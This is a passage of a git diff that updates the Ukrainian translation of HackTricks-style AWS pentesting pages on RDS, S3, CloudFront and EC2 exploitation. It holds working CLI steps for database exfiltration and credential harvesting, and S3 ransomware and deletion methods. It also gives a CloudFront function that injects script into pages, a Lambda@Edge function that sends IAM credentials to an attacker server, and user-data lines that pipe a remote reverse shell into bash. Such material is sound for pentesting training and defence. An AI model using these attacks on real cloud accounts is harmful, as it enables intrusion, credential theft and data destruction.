помітно, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Вплив: доступ тільки для читання, але повний доступ до даних у майже реальному часі на клоні продуктивного середовища без модифікації production інстансу. Корисно для прихованого витягання даних і офлайн-аналізу. +Вплив: лише для читання, але повний доступ до даних у майже реальному часі клоні продукційного середовища без модифікації продукційного інстансу. Корисно для прихованого витягнення даних і офлайн-аналізу. -### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password +### Out-of-band SQL via RDS Data API шляхом увімкнення HTTP endpoint + скидання master password -Зловживання Aurora для увімкнення RDS Data API HTTP endpoint на цільовому кластері, скидання master password на значення під вашим контролем та виконання SQL через HTTPS (шлях мережі VPC не потрібен). Працює на Aurora engines, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL). +Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення, яким ви керуєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях у VPC). Працює на двигунах Aurora, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL). Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Вплив: Обхід мережевої сегментації та ексфільтрація даних через AWS APIs без прямого VPC-підключення до DB. +Вплив: Bypass network segmentation та exfiltrate data через AWS APIs без прямого VPC-підключення до DB.
-End-to-end CLI (Aurora MySQL example) +Повний CLI (Aurora MySQL example) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -426,20 +462,20 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ Примітки: - Якщо multi-statement SQL відхиляється rds-data, виконуйте окремі виклики execute-statement. -- Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn. -- Переконайтеся, що engine/version фактично підтримує Data API; інакше HttpEndpointEnabled залишиться False. +- Для engine, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn. +- Переконайтеся, що engine/version дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False. -### Здобуття облікових даних DB через RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Зловживання конфігурацією RDS Proxy для виявлення Secrets Manager secret, що використовується для бекенд-аутентифікації, а потім читання цього секрету для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькоперешкодним шляхом до DB creds. Якщо секрет використовує CMK, неправильно вказані дозволи KMS також можуть дозволити `kms:Decrypt`. +Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для бекенд-автентифікації, а потім прочитайте секрет для отримання облікових даних бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низькопороговим шляхом до отримання DB credentials. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти `kms:Decrypt`. Необхідні дозволи (мінімум): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` на вказаному SecretArn -- Необов’язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі +- Опціонально, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі -Вплив: Негайне розкриття DB username/password, налаштованих на proxy; дозволяє прямий доступ до DB або подальший латеральний рух. +Вплив: Негайне розкриття DB username/password, налаштованих на proxy; забезпечує прямий доступ до DB або подальший латеральний рух. Кроки ```bash @@ -454,7 +490,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Лабораторія (мінімально необхідне для відтворення) +Лабораторія (мінімальний набір для відтворення) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -473,24 +509,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -Прибирання (лабораторія) +Очищення (лабораторія) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Непомітне безперервне exfiltration через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration) +### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації production даних у Redshift Serverless namespace, який ви контролюєте. За наявності ліберальної політики ресурсів Redshift, що авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, attacker може встановити майже реального‑часу копію даних без DB creds, snapshots або мережевого доступу. +Зловживати Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, яким ви керуєте. За наявності ліберальної Redshift resource policy, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, атакувач може встановити near‑real‑time data copy без DB creds, snapshots або network exposure. -Permissions needed (minimum): +Необхідні дозволи (мінімум): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) - `rds-data:ExecuteStatement` (optional; to seed data if needed) -Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Перевірено в: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Створити Redshift Serverless namespace + workgroup @@ -540,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Створити кластер Aurora PostgreSQL (увімкнути Data API та logical replication) +3) Створити Aurora PostgreSQL кластер (увімкнути Data API та логічну реплікацію) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -571,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Створіть інтеграцію zero‑ETL з RDS +4) Створіть zero‑ETL інтеграцію з RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -598,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Докази, виявлені під час тестування: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням DB. -- Після CREATE DATABASE FROM INTEGRATION, перелік таблиць виявив схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob). +- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. +- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). -Вплив: Continuous near‑real‑time exfiltration вибраних таблиць Aurora PostgreSQL до Redshift Serverless, контрольованого атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до вихідного кластера. +Вплив: Безперервна майже в реальному часі exfiltration вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до початкового кластера. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index cc43e9a07..79731597b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,34 +4,66 @@ ## S3 -Для отримання додаткової інформації дивіться: +Для додаткової інформації перегляньте: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Чутлива інформація +### Sensitive Information -Інколи ви зможете знайти чутливу інформацію, доступну для читання в buckets. Наприклад, terraform state secrets. +Іноді у відкритих для читання бакетах можна знайти чутливу інформацію. Наприклад, секрети terraform state. ### Pivoting -Різні платформи можуть використовувати S3 для зберігання чутливих ресурсів. Наприклад, **airflow** може зберігати там **DAGs** **code**, або **web pages** можуть безпосередньо віддаватися з S3. Атакувальник з дозволами на запис міг би **modify the code** з bucket'а, щоб **pivot** на інші платформи, або **takeover accounts**, модифікуючи JS файли. +Різні платформи можуть використовувати S3 для зберігання чутливих ресурсів.\ +Наприклад, **airflow** може зберігати там **DAGs** **code**, або **веб-сторінки** можуть безпосередньо обслуговуватись зі S3. Атакуючий з правами запису може **modify the code** у бакеті, щоб **pivot** на інші платформи, або **takeover accounts**, змінюючи JS файли. ### S3 Ransomware -У цьому сценарії **атакувальник створює KMS (Key Management Service) key у своєму власному AWS акаунті** або в іншому скомпрометованому акаунті. Потім він робить цей ключ доступним для будь-кого в світі, дозволяючи будь-якому AWS користувачу, ролі або акаунту шифрувати об'єкти за допомогою цього ключа. Проте ці об'єкти не можна розшифрувати. +У цьому сценарії **атакуючий створює KMS (Key Management Service) key у власному AWS account** або в іншому скомпрометованому акаунті. Потім він робить цей **ключ доступним будь-кому у світі**, дозволяючи будь-якому AWS user, role або account шифрувати об'єкти за допомогою цього ключа. Проте об'єкти не можна буде розшифрувати. -Атакувальник визначає цільовий **S3 bucket і отримує доступ рівня запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію bucket'а, яка робить його публічним, або через отримання атакувальником доступу до AWS середовища. Зазвичай атакувальник націлюється на buckets, що містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо. +Атакуючий визначає цільовий **S3 bucket and gains write-level access** до нього різними способами. Це може бути через погану конфігурацію бакета, через відкритий доступ, або через отримання доступу до самої AWS environment. Зазвичай атакуються бакети, які містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо. -Щоб визначити, чи можна націлити bucket для ransomware, атакувальник перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** та чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, атакувальник може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, атакувальник може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, то атакувати цей bucket ransomware стає складніше. +Щоб визначити, чи можна цільовий бакет використати для ransomware, атакуючий перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** і чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, атакуючий може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, атакуючий може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, виконати ransomware проти цього бакета стає складніше. -За допомогою AWS API атакувальник **замінює кожен об'єкт у bucket'і зашифрованою копією, використовуючи свій KMS ключ**. Це фактично шифрує дані в bucket'і, роблячи їх недоступними без цього ключа. +Використовуючи AWS API, атакуючий **замінює кожний об'єкт у бакеті зашифрованою копією, використовуючи свій KMS key**. Це фактично шифрує дані в бакеті, роблячи їх недоступними без ключа. -Щоб посилити тиск, атакувальник планує видалення KMS ключа, використаного в атаці. Це дає цілі 7-денне вікно для відновлення даних, перш ніж ключ буде видалено і дані стануть безповоротно втраченими. +Щоб додатково посилити тиск, атакуючий планує видалення KMS key, який використовувався в атаці. Це дає цілі 7-денне вікно для відновлення даних перед тим, як ключ буде видалено і дані стануть остаточно втраченими. -Нарешті, атакувальник може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для постраждалого про те, як повернути свої файли. Цей файл завантажується без шифрування, ймовірно щоб привернути увагу цілі та повідомити її про ransomware-атаку. +Нарешті, атакуючий може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для жертви щодо відновлення файлів. Цей файл завантажується без шифрування, щоб привернути увагу цілі та повідомити про ransomware-атаку. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +Атакуючий з дозволом s3:RestoreObject може реактівувати об'єкти, заархівовані в Glacier або Deep Archive, роблячи їх тимчасово доступними. Це дозволяє відновлення та ексфільтрацію історично заархівованих даних (резервні копії, snapshots, логи, сертифікати, старі секрети), які зазвичай недосяжні. Якщо атакуючий поєднає цей дозвіл з правами на читання (наприклад, s3:GetObject), він може отримати повні копії чутливих даних. +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +Зловмисник з дозволом s3:Delete* може видаляти objects, versions і entire buckets, порушувати резервні копії та спричиняти негайну й незворотну втрату даних, знищення доказів і компрометацію артефактів резервного копіювання або відновлення. +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**Для отримання додаткової інформації** [**перегляньте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..65b8a77ee --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +Зловмисник, який має дозволи `cloudfront:UpdateDistribution` та `cloudfront:GetDistributionConfig`, може змінювати конфігурацію CloudFront distribution. Вони не потребують дозволів на сам цільовий S3 bucket, хоча атака буде простішою, якщо цей bucket має permissive policy, яка дозволяє доступ від cloudfront.amazonaws.com service principal. + +Зловмисник змінює origin configuration distribution, щоб вказати на інший S3 bucket або на сервер, контрольований зловмисником. Спочатку вони отримують поточну конфігурацію distribution: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +Потім вони редагують current-config.json, щоб вказати origin на новий ресурс — наприклад, інший S3 bucket: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +Нарешті застосуйте змінену конфігурацію (потрібно вказати поточний ETag при оновленні): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Create a new body with malicious JavaScript +var maliciousBody = ` + + + +Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + +`; +// Replace the body entirely +response.body = { encoding: "text", data: maliciousBody }; +// Update headers +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# Створити шкідливу функцію в CloudFront +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# Отримати ETag функції на стадії DEVELOPMENT +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# Опублікувати функцію на стадії LIVE +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; +}; +``` + +```bash +# Упакувати функцію Lambda@Edge +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# Створити функцію Lambda@Edge з привілеєвою роллю +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# Опублікувати версію функції +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# Застосувати оновлену конфігурацію distribution (потрібно використовувати поточний ETag) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# Запустити функцію, виконавши запит до distribution +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 2da35ee77..ff958d3e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -4,7 +4,7 @@ ## EC2 -Більше **інформації про EC2** див.: +Для отримання додаткової **інформації про EC2** див.: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,11 +12,11 @@ ### `iam:PassRole`, `ec2:RunInstances` -Зловмисник може створити instance, прикріпити IAM role і потім отримати доступ до instance, щоб вкрасти облікові дані IAM role з metadata endpoint. +Зловмисник може **створити інстанс із приєднаним IAM role і потім отримати доступ до інстансу**, щоб викрасти облікові дані IAM role з metadata endpoint. - **Доступ через SSH** -Запустіть новий instance, використовуючи **створений** **ssh key** (`--key-name`) і потім підключіться по ssh (якщо ви хочете створити новий, можливо, вам знадобиться дозвіл `ec2:CreateKeyPair`). +Запустіть новий інстанс, використовуючи **створений** **ssh key** (`--key-name`), а потім підключіться до нього по ssh (якщо ви хочете створити новий ключ, вам може знадобитися дозвіл `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Доступ через rev shell у user data** -Ви можете запустити новий інстанс, використовуючи **user data** (`--user-data`), яке надішле вам **rev shell**. При цьому немає потреби вказувати security group. +Ви можете запустити новий instance, використовуючи **user data** (`--user-data`), який надішле вам **rev shell**. Вам не потрібно вказувати security group цим способом. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Будьте обережні з GuradDuty якщо ви використовуєте облікові дані IAM role поза межами instance: +Будьте обережні з GuradDuty якщо ви використовуєте облікові дані ролі IAM поза інстансом: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Потенційний вплив:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Potential Impact:** Прямий privesc до будь-якої EC2 role, прикріпленої до існуючих instance profiles. #### Privesc to ECS -З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** in inside the **EC2 instance**, до якого ви маєте доступ, і тоді ви можете проникнути в ці сервіси (docker containers) і **steal their ECS roles attached** +З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** всередині **EC2 instance**, до якого ви маєте доступ, і ви зможете проникнути в ці сервіси (docker containers) та **steal their ECS roles attached**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Щоб дізнатися, як **змушувати ECS services to be run** в цьому новому EC2 екземплярі, перегляньте: +Щоб дізнатися, як **змусити ECS services виконуватися** в цьому новому EC2 instance перегляньте: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -Якщо ви **не можете створити новий екземпляр**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати екземпляр у кластері та виконати описану атаку. +Якщо ви **не можете створити новий instance**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати instance в кластері та виконати зазначену атаку. -**Potential Impact:** Direct privesc до ролей ECS, прикріплених до tasks. +**Potential Impact:** Прямий privesc до ролей ECS, прикріплених до tasks. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Подібно до попереднього сценарію, зловмисник із цими дозволами може **змінити IAM роль скомпрометованого екземпляра**, щоб викрасти нові облікові дані.\ -Оскільки профіль екземпляра може мати лише одну роль, якщо профіль екземпляра **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**. +Подібно до попереднього сценарію, зловмисник з цими дозволами може **змінити IAM роль скомпрометованого instance**, щоб викрасти нові облікові дані.\ +Оскільки instance profile може мати лише 1 роль, якщо instance profile **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile``** ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Якщо **instance profile has a role** і attacker **cannot remove it**, існує інший обхідний шлях. Він може **find** an **instance profile without a role** або **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** до того **instance profile** (як описано вище), і **associate the instance profile** compromised до compromised i**nstance:** +Якщо **instance profile має role** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **instance profile без role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **role** до того **instance profile** (як описано вище), і **асоціювати цей instance profile** до скомпрометованого i**nstance:** -- Якщо instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) +- Якщо **instance** **не має жодного instance profile** (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potential Impact:** Direct privesc to a different EC2 role (потрібно скомпрометувати AWS EC2 instance та мати додаткові дозволи або певний статус instance profile). +**Потенційний вплив:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Завдяки цим дозволам можна змінити instance profile, пов'язаний з екземпляром, тому якщо зловмисник уже має доступ до екземпляра, він зможе викрадати облікові дані для інших ролей instance profile, замінюючи пов'язаний із ним. +Маючи ці дозволи, можна змінити instance profile, пов’язаний з інстанцією, тож якщо атакуючий уже має доступ до інстанції, він зможе вкрасти облікові дані для інших ролей шляхом заміни прив’язаного instance profile. -- Якщо він **має instance profile**, ви можете **видалити** цей instance profile (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** інший. +- Якщо інстанція **має instance profile**, ви можете **від’єднати** instance profile (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** інший ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- або **замінити** **instance profile** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). +- або **замінити** **instance profile** компрометованого instance (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Potential Impact:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додатковий дозвіл або специфічний instance profile status). +**Потенційний вплив:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додаткові дозволи або певний instance profile status). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Зловмисник з дозволами **`ec2:RequestSpotInstances` та `iam:PassRole`** може **запросити** **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\ -Після запуску інстансу він може **викрасти IAM role**. +Зловмисник із дозволами **`ec2:RequestSpotInstances`and`iam:PassRole`** може запросити **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\ +Після запуску інстансу він може викрасти **IAM role**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Зловмисник з правами **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансів. Серед іншого він може **змінити user data**, що дозволяє змусити інстанс **запустити довільні дані.** Це може бути використано для отримання **rev shell на EC2 instance**. +Атакуючий з правом **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Серед них він може **змінити user data**, що дозволяє змусити інстанс **виконати довільний код.** Це можна використати для отримання **rev shell на EC2 instance**. -Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тому необхідні права **`ec2:StopInstances`** та **`ec2:StartInstances`**. +Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тож потрібні **права** **`ec2:StopInstances`** і **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Потенційний вплив:** Пряме privesc до будь-якої EC2 IAM Role, приєднаної до створеного інстансу. +**Potential Impact:** Прямий privesc до будь-якої EC2 IAM Role, прикріпленої до створеного інстансу. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Атакувальник з дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template version** з **rev shell у** **user data** і **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **using** ту **Launch Templat**e, яка **configured** використовувати 